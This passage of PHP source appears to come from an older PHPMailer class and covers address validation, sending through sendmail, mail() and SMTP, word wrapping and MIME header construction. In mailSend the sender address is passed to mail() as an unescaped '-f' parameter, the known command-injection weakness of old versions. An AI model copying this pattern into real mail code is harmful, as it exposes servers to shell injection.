  942.                 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  943.                 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  944.                     $patternselect = 'php';
  945.                 } else {
  946.                     $patternselect = 'noregex';
  947.                 }
  948.             }
  949.         }
  950.         switch ($patternselect) {
  951.             case 'pcre8':
  952.                 return (boolean)preg_match(
  953.                     '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  954.                     '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  955.                     '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  956.                     '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  957.                     '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  958.                     '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  959.                     '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  960.                     '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  961.                     '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  962.                     $address
  963.                 );
  964.             case 'pcre':
  965.                 //An older regex that doesn't need a recent PCRE
  966.                 return (boolean)preg_match(
  967.                     '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
  968.                     '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  969.                     '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  970.                     '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  971.                     '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  972.                     '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  973.                     '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  974.                     '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  975.                     '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  976.                     '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  977.                     $address
  978.                 );
  979.             case 'html5':
  980.                 return (boolean)preg_match(
  981.                     '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  982.                     '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  983.                     $address
  984.                 );
  985.             case 'noregex':
  986.                 return (strlen($address) >= 3
  987.                     and strpos($address, '@') >= 1
  988.                     and strpos($address, '@') != strlen($address) - 1);
  989.             case 'php':
  990.             default:
  991.                 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  992.         }
  993.     }
  994.     public function send()
  995.     {
  996.         try {
  997.             if (!$this->preSend()) {
  998.                 return false;
  999.             }
  1000.             return $this->postSend();
  1001.         } catch (phpmailerException $exc) {
  1002.             $this->mailHeader = '';
  1003.             $this->setError($exc->getMessage());
  1004.             if ($this->exceptions) {
  1005.                 throw $exc;
  1006.             }
  1007.             return false;
  1008.         }
  1009.     }
  1010.     public function preSend()
  1011.     {
  1012.         try {
  1013.             $this->mailHeader = '';
  1014.             if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1015.                 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1016.             }
  1017.             // Set whether the message is multipart/alternative
  1018.             if (!empty($this->AltBody)) {
  1019.                 $this->ContentType = 'multipart/alternative';
  1020.             }
  1021.             $this->error_count = 0; // reset errors
  1022.             $this->setMessageType();
  1023.             // Refuse to send an empty message unless we are specifically allowing it
  1024.             if (!$this->AllowEmpty and empty($this->Body)) {
  1025.                 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1026.             }
  1027.             $this->MIMEHeader = $this->createHeader();
  1028.             $this->MIMEBody = $this->createBody();
  1029.             if ($this->Mailer == 'mail') {
  1030.                 if (count($this->to) > 0) {
  1031.                     $this->mailHeader .= $this->addrAppend('To', $this->to);
  1032.                 } else {
  1033.                     $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  1034.                 }
  1035.                 $this->mailHeader .= $this->headerLine(
  1036.                     'Subject',
  1037.                     $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  1038.                 );
  1039.             }
  1040.             // Sign with DKIM if enabled
  1041.             if (!empty($this->DKIM_domain)
  1042.                 && !empty($this->DKIM_private)
  1043.                 && !empty($this->DKIM_selector)
  1044.                 && file_exists($this->DKIM_private)) {
  1045.                 $header_dkim = $this->DKIM_Add(
  1046.                     $this->MIMEHeader . $this->mailHeader,
  1047.                     $this->encodeHeader($this->secureHeader($this->Subject)),
  1048.                     $this->MIMEBody
  1049.                 );
  1050.                 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  1051.                     str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  1052.             }
  1053.             return true;
  1054.         } catch (phpmailerException $exc) {
  1055.             $this->setError($exc->getMessage());
  1056.             if ($this->exceptions) {
  1057.                 throw $exc;
  1058.             }
  1059.             return false;
  1060.         }
  1061.     }
  1062.     public function postSend()
  1063.     {
  1064.         try {
  1065.             // Choose the mailer and send through it
  1066.             switch ($this->Mailer) {
  1067.                 case 'sendmail':
  1068.                 case 'qmail':
  1069.                     return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1070.                 case 'mail':
  1071.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1072.                 case 'smtp':
  1073.                     return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody);
  1074.                 default:
  1075.                     $sendMethod = $this->Mailer.'Send';
  1076.                     if (method_exists($this, $sendMethod)) {
  1077.                         return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1078.                     }
  1079.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1080.             }
  1081.         } catch (phpmailerException $exc) {
  1082.             $this->setError($exc->getMessage());
  1083.             $this->edebug($exc->getMessage());
  1084.             if ($this->exceptions) {
  1085.                 throw $exc;
  1086.             }
  1087.         }
  1088.         return false;
  1089.     }
  1090.     protected function sendmailSend($header, $body)
  1091.     {
  1092.         if ($this->Sender != '') {
  1093.             if ($this->Mailer == 'qmail') {
  1094.                 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1095.             } else {
  1096.                 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1097.             }
  1098.         } else {
  1099.             if ($this->Mailer == 'qmail') {
  1100.                 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1101.             } else {
  1102.                 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1103.             }
  1104.         }
  1105.         if ($this->SingleTo) {
  1106.             foreach ($this->SingleToArray as $toAddr) {
  1107.                 if (!@$mail = popen($sendmail, 'w')) {
  1108.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1109.                 }
  1110.                 fputs($mail, 'To: ' . $toAddr . "\n");
  1111.                 fputs($mail, $header);
  1112.                 fputs($mail, $body);
  1113.                 $result = pclose($mail);
  1114.                 $this->doCallback(
  1115.                     ($result == 0),
  1116.                     array($toAddr),
  1117.                     $this->cc,
  1118.                     $this->bcc,
  1119.                     $this->Subject,
  1120.                     $body,
  1121.                     $this->From
  1122.                 );
  1123.                 if ($result != 0) {
  1124.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1125.                 }
  1126.             }
  1127.         } else {
  1128.             if (!@$mail = popen($sendmail, 'w')) {
  1129.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1130.             }
  1131.             fputs($mail, $header);
  1132.             fputs($mail, $body);
  1133.             $result = pclose($mail);
  1134.             $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1135.             if ($result != 0) {
  1136.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1137.             }
  1138.         }
  1139.         return true;
  1140.     }
  1141.     protected function mailSend($header, $body)
  1142.     {
  1143.         $toArr = array();
  1144.         foreach ($this->to as $toaddr) {
  1145.             $toArr[] = $this->addrFormat($toaddr);
  1146.         }
  1147.         $to = implode(', ', $toArr);
  1148.         if (empty($this->Sender)) {
  1149.             $params = ' ';
  1150.         } else {
  1151.             $params = sprintf('-f%s', $this->Sender);
  1152.         }
  1153.         if ($this->Sender != '' and !ini_get('safe_mode')) {
  1154.             $old_from = ini_get('sendmail_from');
  1155.             ini_set('sendmail_from', $this->Sender);
  1156.         }
  1157.         $result = false;
  1158.         if ($this->SingleTo && count($toArr) > 1) {
  1159.             foreach ($toArr as $toAddr) {
  1160.                 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1161.                 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1162.             }
  1163.         } else {
  1164.             $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1165.             $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1166.         }
  1167.         if (isset($old_from)) {
  1168.             ini_set('sendmail_from', $old_from);
  1169.         }
  1170.         if (!$result) {
  1171.             throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1172.         }
  1173.         return true;
  1174.     }
  1175.   public function getSMTPInstance()
  1176.     {
  1177.         if (!is_object($this->smtp)) {
  1178.             $this->smtp = new SMTP;
  1179.         }
  1180.         return $this->smtp;
  1181.     }
  1182.     protected function smtpSend($header, $body)
  1183.     {
  1184.         $bad_rcpt = array();
  1185.         if (!$this->smtpConnect($this->SMTPOptions)) {
  1186.             throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1187.         }
  1188.         if ('' == $this->Sender) {
  1189.             $smtp_from = $this->From;
  1190.         } else {
  1191.             $smtp_from = $this->Sender;
  1192.         }
  1193.         if (!$this->smtp->mail($smtp_from)) {
  1194.             $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1195.             throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1196.         }
  1197.         foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1198.             foreach ($togroup as $to) {
  1199.                 if (!$this->smtp->recipient($to[0])) {
  1200.                     $error = $this->smtp->getError();
  1201.                     $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1202.                     $isSent = false;
  1203.                 } else {
  1204.                     $isSent = true;
  1205.                 }
  1206.                 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1207.             }
  1208.         }
  1209.         if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1210.             throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1211.         }
  1212.         if ($this->SMTPKeepAlive) {
  1213.             $this->smtp->reset();
  1214.         } else {
  1215.             $this->smtp->quit();
  1216.             $this->smtp->close();
  1217.         }
  1218.         if (count($bad_rcpt) > 0) {
  1219.             $errstr = '';
  1220.             foreach ($bad_rcpt as $bad) {
  1221.                 $errstr .= $bad['to'] . ': ' . $bad['error'];
  1222.             }
  1223.             throw new phpmailerException(
  1224.                 $this->lang('recipients_failed') . $errstr,
  1225.                 self::STOP_CONTINUE
  1226.             );
  1227.         }
  1228.         return true;
  1229.     }
  1230.     public function smtpConnect($options = array())
  1231.     {
  1232.         if (is_null($this->smtp)) {
  1233.             $this->smtp = $this->getSMTPInstance();
  1234.         }
  1235.         if ($this->smtp->connected()) {
  1236.             return true;
  1237.         }
  1238.         $this->smtp->setTimeout($this->Timeout);
  1239.         $this->smtp->setDebugLevel($this->SMTPDebug);
  1240.         $this->smtp->setDebugOutput($this->Debugoutput);
  1241.         $this->smtp->setVerp($this->do_verp);
  1242.         $hosts = explode(';', $this->Host);
  1243.         $lastexception = null;
  1244.         foreach ($hosts as $hostentry) {
  1245.             $hostinfo = array();
  1246.             if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1247.                 continue;
  1248.             }
  1249.             $prefix = '';
  1250.             $secure = $this->SMTPSecure;
  1251.             $tls = ($this->SMTPSecure == 'tls');
  1252.             if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1253.                 $prefix = 'ssl://';
  1254.                 $tls = false; // Can't have SSL and TLS at the same time
  1255.                 $secure = 'ssl';
  1256.             } elseif ($hostinfo[2] == 'tls') {
  1257.                 $tls = true;
  1258.                 $secure = 'tls';
  1259.             }
  1260.             $sslext = defined('OPENSSL_ALGO_SHA1');
  1261.             if ('tls' === $secure or 'ssl' === $secure) {
  1262.                 if (!$sslext) {
  1263.                     throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  1264.                 }
  1265.             }
  1266.             $host = $hostinfo[3];
  1267.             $port = $this->Port;
  1268.             $tport = (integer)$hostinfo[4];
  1269.             if ($tport > 0 and $tport < 65536) {
  1270.                 $port = $tport;
  1271.             }
  1272.             if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1273.                 try {
  1274.                     if ($this->Helo) {
  1275.                         $hello = $this->Helo;
  1276.                     } else {
  1277.                         $hello = $this->serverHostname();
  1278.                     }
  1279.                     $this->smtp->hello($hello);
  1280.                     if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1281.                         $tls = true;
  1282.                     }
  1283.                     if ($tls) {
  1284.                         if (!$this->smtp->startTLS()) {
  1285.                             throw new phpmailerException($this->lang('connect_host'));
  1286.                         }
  1287.                         $this->smtp->hello($hello);
  1288.                     }
  1289.                     if ($this->SMTPAuth) {
  1290.                         if (!$this->smtp->authenticate(
  1291.                             $this->Username,
  1292.                             $this->Password,
  1293.                             $this->AuthType,
  1294.                             $this->Realm,
  1295.                             $this->Workstation
  1296.                         )
  1297.                         ) {
  1298.                             throw new phpmailerException($this->lang('authenticate'));
  1299.                         }
  1300.                     }
  1301.                     return true;
  1302.                 } catch (phpmailerException $exc) {
  1303.                     $lastexception = $exc;
  1304.                     $this->edebug($exc->getMessage());
  1305.                     $this->smtp->quit();
  1306.                 }
  1307.             }
  1308.         }
  1309.         $this->smtp->close();
  1310.         if ($this->exceptions and !is_null($lastexception)) {
  1311.             throw $lastexception;
  1312.         }
  1313.         return false;
  1314.     }
  1315.     public function smtpClose()
  1316.     {
  1317.         if ($this->smtp !== null) {
  1318.             if ($this->smtp->connected()) {
  1319.                 $this->smtp->quit();
  1320.                 $this->smtp->close();
  1321.             }
  1322.         }
  1323.     }
  1324.  
  1325.     public function setLanguage($langcode = 'en', $lang_path = '')
  1326.     {
  1327.         // Define full set of translatable strings in English
  1328.         $PHPMAILER_LANG = array(
  1329.             'authenticate' => 'SMTP Error: Could not authenticate.',
  1330.             'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  1331.             'data_not_accepted' => 'SMTP Error: data not accepted.',
  1332.             'empty_message' => 'Message body empty',
  1333.             'encoding' => 'Unknown encoding: ',
  1334.             'execute' => 'Could not execute: ',
  1335.             'file_access' => 'Could not access file: ',
  1336.             'file_open' => 'File Error: Could not open file: ',
  1337.             'from_failed' => 'The following From address failed: ',
  1338.             'instantiate' => 'Could not instantiate mail function.',
  1339.             'invalid_address' => 'Invalid address',
  1340.             'mailer_not_supported' => ' mailer is not supported.',
  1341.             'provide_address' => 'You must provide at least one recipient email address.',
  1342.             'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  1343.             'signing' => 'Signing Error: ',
  1344.             'smtp_connect_failed' => 'SMTP connect() failed.',
  1345.             'smtp_error' => 'SMTP server error: ',
  1346.             'variable_set' => 'Cannot set or reset variable: '
  1347.         );
  1348.         if (empty($lang_path)) {
  1349.             // Calculate an absolute path so it can work if CWD is not here
  1350.             $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  1351.         }
  1352.         $foundlang = true;
  1353.         $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1354.         if ($langcode != 'en') { // There is no English translation file
  1355.             // Make sure language file path is readable
  1356.             if (!is_readable($lang_file)) {
  1357.                 $foundlang = false;
  1358.             } else {
  1359.                 $foundlang = include $lang_file;
  1360.             }
  1361.         }
  1362.         $this->language = $PHPMAILER_LANG;
  1363.         return (boolean)$foundlang; // Returns false if language not found
  1364.     }
  1365.     public function getTranslations()
  1366.     {
  1367.         return $this->language;
  1368.     }
  1369.     public function addrAppend($type, $addr)
  1370.     {
  1371.         $addresses = array();
  1372.         foreach ($addr as $address) {
  1373.             $addresses[] = $this->addrFormat($address);
  1374.         }
  1375.         return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1376.     }
  1377.  
  1378.     public function addrFormat($addr)
  1379.     {
  1380.         if (empty($addr[1])) { // No name provided
  1381.             return $this->secureHeader($addr[0]);
  1382.         } else {
  1383.             return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  1384.                 $addr[0]
  1385.             ) . '>';
  1386.         }
  1387.     }
  1388.  
  1389.     public function wrapText($message, $length, $qp_mode = false)
  1390.     {
  1391.         $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
  1392.         $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1393.         $lelen = strlen($this->LE);
  1394.         $crlflen = strlen(self::CRLF);
  1395.         $message = $this->fixEOL($message);
  1396.         if (substr($message, -$lelen) == $this->LE) {
  1397.             $message = substr($message, 0, -$lelen);
  1398.         }
  1399.         $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
  1400.         $message = '';
  1401.         for ($i = 0; $i < count($line); $i++) {
  1402.             $line_part = explode(' ', $line[$i]);
  1403.             $buf = '';
  1404.             for ($e = 0; $e < count($line_part); $e++) {
  1405.                 $word = $line_part[$e];
  1406.                 if ($qp_mode and (strlen($word) > $length)) {
  1407.                     $space_left = $length - strlen($buf) - $crlflen;
  1408.                     if ($e != 0) {
  1409.                         if ($space_left > 20) {
  1410.                             $len = $space_left;
  1411.                             if ($is_utf8) {
  1412.                                 $len = $this->utf8CharBoundary($word, $len);
  1413.                             } elseif (substr($word, $len - 1, 1) == '=') {
  1414.                                 $len--;
  1415.                             } elseif (substr($word, $len - 2, 1) == '=') {
  1416.                                 $len -= 2;
  1417.                             }
  1418.                             $part = substr($word, 0, $len);
  1419.                             $word = substr($word, $len);
  1420.                             $buf .= ' ' . $part;
  1421.                             $message .= $buf . sprintf('=%s', self::CRLF);
  1422.                         } else {
  1423.                             $message .= $buf . $soft_break;
  1424.                         }
  1425.                         $buf = '';
  1426.                     }
  1427.                     while (strlen($word) > 0) {
  1428.                         if ($length <= 0) {
  1429.                             break;
  1430.                         }
  1431.                         $len = $length;
  1432.                         if ($is_utf8) {
  1433.                             $len = $this->utf8CharBoundary($word, $len);
  1434.                         } elseif (substr($word, $len - 1, 1) == '=') {
  1435.                             $len--;
  1436.                         } elseif (substr($word, $len - 2, 1) == '=') {
  1437.                             $len -= 2;
  1438.                         }
  1439.                         $part = substr($word, 0, $len);
  1440.                         $word = substr($word, $len);
  1441.                         if (strlen($word) > 0) {
  1442.                             $message .= $part . sprintf('=%s', self::CRLF);
  1443.                         } else {
  1444.                             $buf = $part;
  1445.                         }
  1446.                     }
  1447.                 } else {
  1448.                     $buf_o = $buf;
  1449.                     $buf .= ($e == 0) ? $word : (' ' . $word);
  1450.                     if (strlen($buf) > $length and $buf_o != '') {
  1451.                         $message .= $buf_o . $soft_break;
  1452.                         $buf = $word;
  1453.                     }
  1454.                 }
  1455.             }
  1456.             $message .= $buf . self::CRLF;
  1457.         }
  1458.         return $message;
  1459.     }
  1460.     public function utf8CharBoundary($encodedText, $maxLength)
  1461.     {
  1462.         $foundSplitPos = false;
  1463.         $lookBack = 3;
  1464.         while (!$foundSplitPos) {
  1465.             $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1466.             $encodedCharPos = strpos($lastChunk, '=');
  1467.             if (false !== $encodedCharPos) {
  1468.                 // Found start of encoded character byte within $lookBack block.
  1469.                 // Check the encoded byte value (the 2 chars after the '=')
  1470.                 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1471.                 $dec = hexdec($hex);
  1472.                 if ($dec < 128) { // Single byte character.
  1473.                     // If the encoded char was found at pos 0, it will fit
  1474.                     // otherwise reduce maxLength to start of the encoded char
  1475.                     $maxLength = ($encodedCharPos == 0) ? $maxLength :
  1476.                         $maxLength - ($lookBack - $encodedCharPos);
  1477.                     $foundSplitPos = true;
  1478.                 } elseif ($dec >= 192) { // First byte of a multi byte character
  1479.                     // Reduce maxLength to split at start of character
  1480.                     $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1481.                     $foundSplitPos = true;
  1482.                 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  1483.                     $lookBack += 3;
  1484.                 }
  1485.             } else {
  1486.                 // No encoded character found
  1487.                 $foundSplitPos = true;
  1488.             }
  1489.         }
  1490.         return $maxLength;
  1491.     }
  1492.     public function setWordWrap()
  1493.     {
  1494.         if ($this->WordWrap < 1) {
  1495.             return;
  1496.         }
  1497.         switch ($this->message_type) {
  1498.             case 'alt':
  1499.             case 'alt_inline':
  1500.             case 'alt_attach':
  1501.             case 'alt_inline_attach':
  1502.                 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  1503.                 break;
  1504.             default:
  1505.                 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  1506.                 break;
  1507.         }
  1508.     }
  1509.     public function createHeader()
  1510.     {
  1511.         $result = '';
  1512.         // Set the boundaries
  1513.         $uniq_id = md5(uniqid(time()));
  1514.         $this->boundary[1] = 'b1_' . $uniq_id;
  1515.         $this->boundary[2] = 'b2_' . $uniq_id;
  1516.         $this->boundary[3] = 'b3_' . $uniq_id;
  1517.         if ($this->MessageDate == '') {
  1518.             $this->MessageDate = self::rfcDate();
  1519.         }
  1520.         $result .= $this->headerLine('Date', $this->MessageDate);
  1521.  
  1522.         // To be created automatically by mail()
  1523.         if ($this->SingleTo) {
  1524.             if ($this->Mailer != 'mail') {
  1525.                 foreach ($this->to as $toaddr) {
  1526.                     $this->SingleToArray[] = $this->addrFormat($toaddr);
  1527.                 }
  1528.             }
  1529.         } else {
  1530.             if (count($this->to) > 0) {
  1531.                 if ($this->Mailer != 'mail') {
  1532.                     $result .= $this->addrAppend('To', $this->to);
  1533.                 }
  1534.             } elseif (count($this->cc) == 0) {
  1535.                 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  1536.             }
  1537.         }
  1538.         $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  1539.         // sendmail and mail() extract Cc from the header before sending
  1540.         if (count($this->cc) > 0) {
  1541.             $result .= $this->addrAppend('Cc', $this->cc);
  1542.         }
  1543.         // sendmail and mail() extract Bcc from the header before sending
  1544.         if ((
  1545.                 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  1546.             )
  1547.             and count($this->bcc) > 0
  1548.         ) {
  1549.             $result .= $this->addrAppend('Bcc', $this->bcc);
  1550.         }
  1551.         if (count($this->ReplyTo) > 0) {
  1552.             $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  1553.         }
  1554.         // mail() sets the subject itself
  1555.         if ($this->Mailer != 'mail') {
  1556.             $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  1557.         }
  1558.         if ($this->MessageID != '') {
  1559.             $this->lastMessageID = $this->MessageID;
  1560.         } else {
  1561.             $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
  1562.        }
  1563.        $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
  1564.        $result .= $this->headerLine('X-Priority', $this->Priority);
  1565.        if ($this->XMailer == '') {
  1566.            $result .= $this->headerLine(
  1567.                'X-Mailer',
  1568.                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'
  1569.             );
  1570.         } else {
  1571.             $myXmailer = trim($this->XMailer);
  1572.             if ($myXmailer) {
  1573.                 $result .= $this->headerLine('X-Mailer', $myXmailer);
  1574.             }
  1575.         }
  1576.         if ($this->ConfirmReadingTo != '') {
  1577.             $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  1578.         }
  1579.         // Add custom headers
  1580.         for ($index = 0; $index < count($this->CustomHeader); $index++) {
  1581.             $result .= $this->headerLine(
  1582.                 trim($this->CustomHeader[$index][0]),
  1583.                 $this->encodeHeader(trim($this->CustomHeader[$index][1]))
  1584.             );
  1585.         }
  1586.         if (!$this->sign_key_file) {
  1587.             $result .= $this->headerLine('MIME-Version', '1.0');
  1588.             $result .= $this->getMailMIME();
  1589.         }
  1590.         return $result;
  1591.     }
  1592.     public function getMailMIME()
  1593.     {
  1594.         $result = '';
  1595.         $ismultipart = true;
  1596.         switch ($this->message_type) {
  1597.             case 'inline':
  1598.                 $result .= $this->headerLine('Content-Type', 'multipart/related;');
  1599.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1600.                 break;
  1601.             case 'attach':
  1602.             case 'inline_attach':
  1603.             case 'alt_attach':
  1604.             case 'alt_inline_attach':
  1605.                 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  1606.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1607.                 break;
  1608.             case 'alt':
  1609.             case 'alt_inline':
  1610.                 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1611.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1612.                 break;
  1613.             default:
  1614.                 // Catches case 'plain': and case '':
  1615.                 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  1616.                 $ismultipart = false;
  1617.                 break;
  1618.         }
  1619.         // RFC1341 part 5 says 7bit is assumed if not specified
  1620.         if ($this->Encoding != '7bit') {
  1621.             // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  1622.             if ($ismultipart) {
  1623.                 if ($this->Encoding == '8bit') {
  1624.                     $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  1625.                 }
  1626.                 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  1627.             } else {
  1628.                 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  1629.             }
  1630.         }
  1631.         if ($this->Mailer != 'mail') {
  1632.             $result .= $this->LE;
  1633.         }
  1634.         return $result;
  1635.     }
  1636.     public function getSentMIMEMessage()
  1637.     {
  1638.         return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  1639.     }
  1640.  
  1641.     public function createBody()
  1642.     {
  1643.         $body = '';
  1644.         if ($this->sign_key_file) {
  1645.             $body .= $this->getMailMIME() . $this->LE;
  1646.         }
  1647.         $this->setWordWrap();
  1648.         $bodyEncoding = $this->Encoding;
  1649.         $bodyCharSet = $this->CharSet;
  1650.         if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  1651.             $bodyEncoding = '7bit';
  1652.             $bodyCharSet = 'us-ascii';
  1653.         }
  1654.         $altBodyEncoding = $this->Encoding;
  1655.         $altBodyCharSet = $this->CharSet;
  1656.         if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  1657.             $altBodyEncoding = '7bit';
  1658.             $altBodyCharSet = 'us-ascii';
  1659.         }
  1660.         switch ($this->message_type) {
  1661.             case 'inline':
  1662.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1663.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
